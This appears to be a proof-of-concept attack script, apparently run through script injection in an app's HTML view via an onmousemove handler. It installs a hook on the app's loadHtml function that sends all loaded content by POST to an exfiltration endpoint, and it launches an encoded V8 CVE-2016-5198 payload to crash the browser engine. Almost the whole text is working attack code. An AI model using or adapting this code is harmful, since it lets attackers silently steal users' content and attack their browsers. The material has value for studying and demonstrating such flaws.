Console


var console = document.getElementById("console"); document.getElementById("wrapperDiv").setAttribute("onmousemove", ""); function print(...args) { for(var i = 0; i<args.length; i++) { if(typeof args[i] !== "string") { args[i] = args[i].toString(); } console.innerText += (args[i] + "\r\n"); } } print("Code Execution achieved, silently, via onmousemove. Choose your action."); function firePost(url, content) { var xhr = new XMLHttpRequest(); xhr.open("POST", url, true); xhr.send(content); } function hookLoadHtml() { if(window.originalLoadHtml) { print("Already installed hook."); return; } window.originalLoadHtml = window.loadHtml; window.loadHtml = function(baseHtml, content, resetScroll, blockquote, invert) { firePost("http://localhost/cgi-bin/exfil.py", content); window.originalLoadHtml(baseHtml, content, resetScroll, blockquote, invert); } print("Hook installed."); } function cve20165198() { // https://github.com/tunz/js-vuln-db/blob/master/v8/CVE-2016-5198.md window.location.href = "data:text/html;base64,PHNjcmlwdD4KZnVuY3Rpb24gQ3RvcigpIHsKICBuID0gbmV3IFNldCgpOwp9CmZ1bmN0aW9uIENoZWNrKCkgewogIG4ueHl6ID0gMHg4MjY4NTJmNDsKICBwYXJzZUludCgpOwp9CmZvcih2YXIgaT0wOyBpPDIwMDA7ICsraSkgewogIEN0b3IoKTsKfQpmb3IodmFyIGk9MDsgaTwyMDAwOyArK2kpIHsKICBDaGVjaygpOwp9CkN0b3IoKTsKQ2hlY2soKTsKPC9zY3JpcHQ+"; } document.getElementById("exfil").addEventListener("click", hookLoadHtml); document.getElementById("crash").addEventListener("click", cve20165198);